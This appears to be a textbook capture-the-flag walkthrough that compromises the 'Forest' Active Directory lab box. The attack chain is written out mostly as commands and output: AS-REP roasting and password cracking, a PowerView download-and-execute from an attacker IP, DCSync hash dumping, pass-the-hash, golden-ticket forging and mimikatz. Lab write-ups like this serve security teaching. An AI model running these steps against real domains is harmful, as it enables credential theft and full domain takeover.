Exercise: Enumerating and exploiting AD on Forest

Running an nmap scan we find:
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
(server time: 2021-01-12 01:10:07Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
(workgroup: HTB)
464/tcp open kpasswd5?
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP
(Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49671/tcp open msrpc Microsoft Windows RPC
49676/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49677/tcp open msrpc Microsoft Windows RPC
49681/tcp open msrpc Microsoft Windows RPC
49697/tcp open msrpc Microsoft Windows RPC
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 2h49m33s, deviation: 4h37m11s, median: 9m31s
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2021-01-11T17:11:05-08:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2021-01-12T01:11:03
|_ start_date: 2021-01-12T01:05:12
The machine is likely running Windows Server 2016 Standard 6.3 and is likely an Active Directory domain controller as it is running DNS, Kerberos, LDAP. smbmap and crackmapexec do not return any information on shares. If we explore LDAP, we can first confirm the namingContexts:
┌─[][rin@parrot][~/boxes/Resolute]
└──╼ $ldapsearch -x -h forest.htb -s base namingContexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingContexts
#
#
dn:
namingContexts: DC=htb,DC=local
namingContexts: CN=Configuration,DC=htb,DC=local
namingContexts: CN=Schema,CN=Configuration,DC=htb,DC=local
namingContexts: DC=DomainDnsZones,DC=htb,DC=local
namingContexts: DC=ForestDnsZones,DC=htb,DC=local
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
If we now do a general query we get a great deal of output. We can filter this to see what classes of objects we are getting back and we see:
┌─[rin@parrot][~/boxes/Resolute]
└──╼ $ ldapsearch -x -h forest.htb \
-b dc=htb,dc=local | grep objectClass | sort -u
objectClass: applicationSettings
objectClass: builtinDomain
objectClass: classStore
objectClass: computer
objectClass: container
objectClass: dfsConfiguration
objectClass: dnsNode
objectClass: dnsZone
objectClass: domain
objectClass: domainDNS
objectClass: domainPolicy
objectClass: fileLinkTracking
objectClass: foreignSecurityPrincipal
objectClass: group
objectClass: infrastructureUpdate
objectClass: ipsecBase
objectClass: ipsecFilter
objectClass: ipsecISAKMPPolicy
objectClass: ipsecNegotiationPolicy
objectClass: ipsecNFA
objectClass: applicationSettings
objectClass: builtinDomain
objectClass: classStore
objectClass: computer
objectClass: container
objectClass: dfsConfiguration
objectClass: dnsNode
objectClass: dnsZone
objectClass: domain
objectClass: domainDNS
objectClass: domainPolicy
objectClass: fileLinkTracking
objectClass: foreignSecurityPrincipal
objectClass: group
objectClass: infrastructureUpdate
objectClass: ipsecBase
objectClass: ipsecFilter
objectClass: ipsecISAKMPPolicy
objectClass: ipsecNegotiationPolicy
objectClass: ipsecNFA
objectClass: ipsecPolicy
objectClass: leaf
objectClass: linkTrackObjectMoveTable
objectClass: lostAndFound
objectClass: msDFSR-Content
objectClass: msDFSR-ContentSet
objectClass: msDFSR-GlobalSettings
objectClass: msDFSR-LocalSettings
objectClass: msDFSR-Member
objectClass: msDFSR-ReplicationGroup
objectClass: msDFSR-Subscriber
objectClass: msDFSR-Subscription
objectClass: msDFSR-Topology
objectClass: msDS-PasswordSettingsContainer
objectClass: msDS-QuotaContainer
objectClass: msExchActiveSyncDevice
objectClass: msExchActiveSyncDevices
objectClass: msExchSystemMailbox
objectClass: msExchSystemObjectsContainer
objectClass: msImaging-PSPs
objectClass: msTPM-InformationObjectsContainer
objectClass: nTFRSSettings
objectClass: organizationalPerson
objectClass: organizationalUnit
objectClass: person
objectClass: rIDManager
objectClass: rIDSet
objectClass: rpcContainer
objectClass: samServer
objectClass: secret
objectClass: securityObject
objectClass: top
objectClass: user
We are interested in the users and so we can customize our search to just return those:
# numReferences: 3
┌─[rin@parrot][~/boxes/Resolute]
└──╼ $ ldapsearch -x -h forest.htb -b dc=htb,dc=local "(objectClass=user)"
# extended LDIF
#
# LDAPv3
# base <dc=htb,dc=local> with scope subtree
# filter: (objectClass=user)
# requesting: ALL
#
# Guest, Users, htb.local
dn: CN=Guest,CN=Users,DC=htb,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: Guest
description: Built-in account for guest access to the computer/domain
distinguishedName: CN=Guest,CN=Users,DC=htb,DC=local
instanceType: 4
whenCreated: 20190918174557.0Z
whenChanged: 20190918174557.0Z
uSNCreated: 8197
memberOf: CN=Guests,CN=Builtin,DC=htb,DC=local
uSNChanged: 8197
name: Guest
objectGUID:: 3cHbrmUFAEi25kbTT5W9gA==
userAccountControl: 66082
badPwdCount: 0
codePage: 0
countryCode: 0
badPasswordTime: 0
lastLogoff: 0
lastLogon: 0
pwdLastSet: 0
primaryGroupID: 514
objectSid:: AQUAAAAAAAUVAAAALB4ltxV1shXFsPNP9QEAAA==
accountExpires: 9223372036854775807
logonCount: 0
sAMAccountName: Guest
sAMAccountType: 805306368
objectCategory: CN=Person,CN=Schema,CN=Configuration,DC=htb,DC=local
isCriticalSystemObject: TRUE
dSCorePropagationData: 20210112032435.0Z
dSCorePropagationData: 20210112032435.0Z
dSCorePropagationData: 20210112032435.0Z
dSCorePropagationData: 20210112032435.0Z
dSCorePropagationData: 16010101000000.0Z
# DefaultAccount, Users, htb.local
dn: CN=DefaultAccount,CN=Users,DC=htb,DC=local
objectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: user
cn: DefaultAccount
I have only shown the first record here to give you an idea of what the record looks like. We can extract the sAMAccountNames to create a user list by using grep for the sAMAccountName and we get a list:
sAMAccountName: sebastien
sAMAccountName: lucinda
sAMAccountName: andy
sAMAccountName: mark
One thing that is missed potentially here is that there is a Service Account svc-alfredo that does not come up as a user through the LDAP query. What does display is:
# svc-alfresco, Service Accounts, htb.local
dn: CN=svc-alfresco,OU=Service Accounts,DC=htb,DC=loc
If we use rpcclient and do an enumdomusers, we do see the account:
┌─[][rin@parrot][~/boxes/Forest]
└──╼ $rpcclient -U '' -N forest.htb
rpcclient $> enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[DefaultAccount] rid:[0x1f7]
user:[$331000-VK4ADACQNUCA] rid:[0x463]
<SNIP>
user:[sebastien] rid:[0x479]
user:[lucinda] rid:[0x47a]
user:[svc-alfresco] rid:[0x47b]
user:[andy] rid:[0x47e]
user:[mark] rid:[0x47f]
user:[santi] rid:[0x480]
At this point, if we search the internet for svc-alfresco, we find that it is likely that it belongs to a product called Alfresco which is a content management system. If you dig through the documentation, there is a section about configuring Alfresco with Active Directory and in particular, it mentions the requirement that the service account needs to have the "Do not require Kerberos preauthentication" enabled (https://docs.alfresco.com/5.1/tasks/auth-kerberos-ADconfig.html). However, if you didn't see this then the next step would be potentially something you could try in any event. What we saw earlier, is that if preauthentication is not required, then any client can request a TGT from the KDC for any user. When the KDC responds, the TGT is encrypted using the users password hash and so it is then a matter of extracting the TGT and brute forcing it to reveal the password. This is known as AS-REP Roasting as the TGT is sent as part of an AS-REP message from the KDC to the user.
We can run Impacket's GetNPUsers.py script to check each user in the user list we have:
┌─[rin@parrot][~/boxes/Forest]
└──╼ $GetNPUsers.py htb.local/ -usersfile users.txt
Impacket v0.9.23.dev1+20201209.133255.ac307704 - Copyright 2020
SecureAuth Corporation
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc[email protected]:6739c04fcfd386eda8158c40fa6e27ed$79f0e5a8e55491d4ad63e851a875466d363bdfceb0161256fb7b5aacd77667adfd2c794a09332226abab2aa203a31c9851f78762e9a5057c41e02f06c978313e9401569f1d3832ae6772204e851e28bfc729fd84b58aa72d55e3b0a87307088402128b0401974d737ee4de95cef948ac88725c513ebbd6d5323d708e8a250cdc747998080eb43898009fd93b2f0049206617ceb31d5a25c52dd7f01ad81135db213f194153468e81091e9e7d98ebc45cedf67e80064e9bb98efa8a8ba11b660979bd99e5d1d58261675810e9b858ff21fa469e8d9085f5c2944a3722abc97d8d6387bf517878
Note that htb.local is the domain name and for this to work, it needs to be in the hosts file. We get a hit with svc-alfresco and we can take the returned result and crack it with John The Ripper giving us a password s3rvice:
┌─[][rin@parrot][~/boxes/Forest]
└──╼ $john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23
[MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
s3rvice ($krb5asrep$23$svc[email protected])
1g 0:00:00:05 DONE (2021-01-12 14:18) 0.1934g/s 790282p/s 790282c/s
790282C/s s401447401447401447..s3r2s1
Use the "--show" option to display all of the cracked passwords reliably
Session completed
AS-REP Roasting is related to another attack called Kerberoasting. Kerberoasting requires a username and password of a user on the domain. With the credentials, the user can request a service ticket from any service. It doesn't matter whether the user is supposed to have access to this service because the KDC does not decide this, it is the role of the service to decide if the user is allowed to access it or not. Kerberoasting depends on being able to look up the service principal names (SPNs) of the service and requesting service tickets for them. We are going to be looking at this shortly but first we can use evil-winrm with this account to get onto the machine and find the user flag file user.txt in the svc-alfresco Desktop directory.
Back on our machine, we are going to run a tool called Bloodhound to map the relationships of the users on the domain graphically. There are a number of tools that will do the ingesting of data from the domain. On Windows, you can use SharpHound (https://github.com/BloodHoundAD/SharpHound3) but as we are on Parrot OS, we can simply install a Python version using pip:
To install Bloodhound with pip:
pip3 install bloodhound
To run this, we specify the domain local.htb and point to forest.htb (using its IP address) as the name server:
┌─[rin@parrot][~]
└──╼ $bloodhound-python -d htb.local -u svc-alfresco -p s3rvice -ns 10.129.1.77
INFO: Found AD domain: htb.local
INFO: Connecting to LDAP server: FOREST.htb.local
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Found 31 users
INFO: Connecting to LDAP server: FOREST.htb.local
INFO: Found 75 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: EXCH01.htb.local
INFO: Querying computer: FOREST.htb.local
INFO: Done in 01M 04S
To install the visual component is slightly more complicated and there are full instructions in the docs page (https://bloodhound.readthedocs.io/en/latest/installation/linux.html). When you have Bloodhound running, you can drop the .json files generated in the previous step onto the main window and it will import them. In the search box, type [email protected] and select it from the item that appears. In the node info tab below, you can click on the number 9 next to the unrolled group membership to get the layout shown in Figure 8-1
Chart, line chart Description automatically generated
Graph of group memberships of svc-alfresco account in htb.local domain on Forest
You can right click the node with svc-alfresco and mark it as "owned". From the graph, we can see that svc-alfresco is a member of the "Service Accounts" group which in turn is a member of "Privileged IT Accounts" which is part of "Account Operators". The last group has a diamond icon on it which shows that it is a high value group. According to the documentation (https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups#bkmk-accountoperators) this account can create and manage accounts but cannot manage the Administrator account or membership of groups such as Administrators, Server Operators, Account Operators, Backup Operators, or Print Operators.
In the Analysis tab in Bloodhound, there are a number of pre-built queries that we can run. If we run the query "Shortest Path to High Vale Targets" we find a link between the group "Account Operators" to the group "Exchange Windows Permissions" which has WriteDacl permissions over the htb.local domain (Figure 8-2).
Partial display of results from "Shortest Path to High Value Targets" in Forest
The WriteDACL permission means that we can change the permissions (Access Control List ACL) of a user to give them permissions that will allow us to exploit AD. The main path to do this is a DCSync attack which involves creating a user and then give the user Active Directory Replication rights (Replicating Directory Changes All and Replicating Directory Changes). Normally, replication is responsible for keeping backup copies of the domain synchronized.
To carry out this attack, we are going to use PowerView which can be obtained by cloning the PowerSploit repository from GitHub (https://github.com/PowerShellMafia/PowerSploit.git). We first create a user and then add them to the Exchange Windows Permissions group.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net user rin password123! `
/add /domain
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net group `
"Exchange Windows Permissions" rin /add
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Documents> net localgroup `
"Remote Management Users" rin /add
The command completed successfully.
We can now download PowerView.ps1 and add the DCSync ACLs:
> IEX(New-Object Net.WebClient).downloadString(
"http://10.10.14.117:8000/PowerView.ps1")
> $password = convertto-securestring "password123!" -asplain -force
> $creds = New-Object System.Management.Automation.PSCredential(
"htb\rin", $password)
> Add-ObjectACL -PrincipalIdentity rin -Credential $cred -Rights DCSync
Once that is done, we can use the Impacket tool secretsdump.py to do the AD replication and obtain all of the password hashes:
┌─[][rin@parrot][~/boxes/Forest]
└──╼ $secretsdump.py htb.local/[email protected]
Impacket v0.9.23.dev1+20201209.133255.ac307704 - Copyright 2020
SecureAuth Corporation
Password:
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
htb.local\Administrator:500:aad3b435b51404eeaad3b435b51404ee:
32693b11e6aa90eb43d32c72a07ceea6:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:819af826bb148e603acb0f33d17632f8:::
<SNIP>
With the hash, we can again use evil-winrm to remote onto the machine as Administrator and use their hash
┌─[][rin@parrot][~/boxes/Forest]
└──╼ $evil-winrm -u Administrator -H 32693b11e6aa90eb43d32c72a07ceea6 \
-i forest.htb
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
htb\administrator
Before we leave this box, as part of the DCSync attack, we obtained the golden ticket, namely the hash for the user krbtgt. We can use this to create TGT tickets for any user using the Impacket tools ticketer.py. This tool requires the domain SID which we can get using the Get-ADDomain PowerShell command.
*Evil-WinRM* PS C:\Users\rin\Documents> Get-ADDomain
AllowedDNSSuffixes : {}
ChildDomains : {}
ComputersContainer : CN=Computers,DC=htb,DC=local
DeletedObjectsContainer : CN=Deleted Objects,DC=htb,DC=local
DistinguishedName : DC=htb,DC=local
DNSRoot : htb.local
DomainControllersContainer : OU=Domain Controllers,DC=htb,DC=local
DomainMode : Windows2016Domain
DomainSID : S-1-5-21-3072663084-364016917-1341370565
ForeignSecurityPrincipalsContainer : CN=ForeignSecurityPrincipals,DC=htb,DC=local
Forest : htb.local
InfrastructureMaster : FOREST.htb.local
LastLogonReplicationInterval :
LinkedGroupPolicyObjects : {CN={31B2F340-016D-11D2-945F-00C04FB984F9},
CN=Policies,CN=System,DC=htb,DC=local}
LostAndFoundContainer : CN=LostAndFound,DC=htb,DC=local
ManagedBy :
Name : htb
NetBIOSName : HTB
ObjectClass : domainDNS
ObjectGUID : dff0c71a-a949-4b26-8c7b-52e3e2cb6eab
ParentDomain :
PDCEmulator : FOREST.htb.local
PublicKeyRequiredPasswordRolling : True
QuotasContainer : CN=NTDS Quotas,DC=htb,DC=local
ReadOnlyReplicaDirectoryServers : {}
ReplicaDirectoryServers : {FOREST.htb.local}
RIDMaster : FOREST.htb.local
SubordinateReferences : {DC=ForestDnsZones,DC=htb,DC=local,
DC=DomainDnsZones,DC=htb,DC=local, CN=Configuration,DC=htb,DC=local}
SystemsContainer : CN=System,DC=htb,DC=local
UsersContainer : CN=Users,DC=htb,DC=local
With that, we can create a TGT for the user administrator (it can be any valid user or servie account) using ticketer.py as follows:
┌─[][rin@parrot][~/boxes/Forest]
└──╼ $ticketer.py -domain-sid S-1-5-21-3072663084-364016917-1341370565 \
-nthash 819af826bb148e603acb0f33d17632f8 -domain htb.local administrator
Impacket v0.9.23.dev1+20201209.133255.ac307704 - Copyright 2020
SecureAuth Corporation
[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for htb.local/administrator
[*] PAC_LOGON_INFO
[*] PAC_CLIENT_INFO_TYPE
[*] EncTicketPart
[*] EncAsRepPart
[*] Signing/Encrypting final ticket
[*] PAC_SERVER_CHECKSUM
[*] PAC_PRIVSVR_CHECKSUM
[*] EncTicketPart
[*] EncASRepPart
[*] Saving ticket in administrator.ccache
We then set the environment variable KRB5CCNAME to the administrator.ccache file and use wmiexec.py to remote onto the box:
┌─[rin@parrot][~/boxes/Forest]
└──╼ $export KRB5CCNAME=administrator.ccache
┌─[rin@parrot][~/boxes/Forest]
└──╼ $wmiexec.py htb.local/[email protected] -k -no-pass
Impacket v0.9.23.dev1+20201209.133255.ac307704 - Copyright 2020
SecureAuth Corporation
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
htb.local\administrator
C:\>
Although we used secretsdump.py, an alternative would have been to use mimikatz to do the same thing. Uploading mimikatz.exe to the machine as rin and then running:
> .\mimikatz.exe "lsadump::dcsync /domain:htb.local /user:administrator" exit
.#####. mimikatz 2.2.0 (x64) #19041 May 19 2020 00:48:59
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( [email protected] )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( [email protected] )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz(commandline) # lsadump::dcsync /domain:htb.local /user:administrator
[DC] 'htb.local' will be the domain
[DC] 'FOREST.htb.local' will be the DC server
[DC] 'administrator' will be the user account
Object RDN : Administrator
** SAM ACCOUNT **
SAM Username : Administrator
User Principal Name : [email protected]
Account Type : 30000000 ( USER_OBJECT )
User Account Control : 00000200 ( NORMAL_ACCOUNT )
Account expiration :
Password last change : 9/18/2019 9:09:08 AM
Object Security ID : S-1-5-21-3072663084-364016917-1341370565-500
Object Relative ID : 500
Credentials:
Hash NTLM: 32693b11e6aa90eb43d32c72a07ceea6
mimikatz(commandline) # exit